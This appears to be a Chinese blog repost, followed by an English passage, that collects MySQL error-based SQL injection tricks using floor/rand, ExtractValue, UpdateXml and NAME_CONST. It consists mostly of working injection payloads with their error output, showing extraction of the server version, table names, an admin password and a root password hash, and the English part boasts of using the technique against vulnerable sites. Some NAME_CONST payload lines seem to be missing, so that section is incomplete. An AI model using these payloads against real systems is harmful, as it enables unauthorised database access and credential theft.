1、通过floor报错
可以通过如下一些利用代码
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
举例如下:
首先进行正常查询:
mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
| 1 | test | do it |
+—-+——-+———+
假如id输入存在注入的话,可以通过如下语句进行报错。
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码:
Method1:
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’
Method2:
mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’
2、ExtractValue
测试语句如下
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’/admin888′
3、UpdateXml
测试语句
and 1=(updatexml(1,concat(0x3a,(select user())),1))
实际测试过程
mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
上文原文:http://hi.baidu.com/sethc5/item/40594203ed91919e02ce1b97
再收集:
MYSQL高版本报错注入技巧-利用NAME_CONST注入
相关信息
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
SELECT NAME_CONST('TEST', 1)
|---------------|
| TEST |
| |
|---------------|
| 1 |
| |
|---------------|
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
VAR = Your MySQL variable.
MySQL 5.1.3 Server System Variables
Let's try it out on my site..
Error:Duplicate column name '5.0.27-community-nt'
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
Data Extraction
We should get a duplicate column 1 error...
Error:Duplicate column name '1
Now let's get the tables out this bitch..
Let's see if it works here, if it does, we can go on and finish the job.
Error:Duplicate column name 'com_admanage
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
Let's get the columns out of the user table..
So mine looks like this, and I get the duplicate column name 'Host'.
Error:Duplicate column name 'Host'
Woot, time to finish this bitch off.
So mine looks like this...
Error:Duplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
And there we have it, thanks for reading.
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论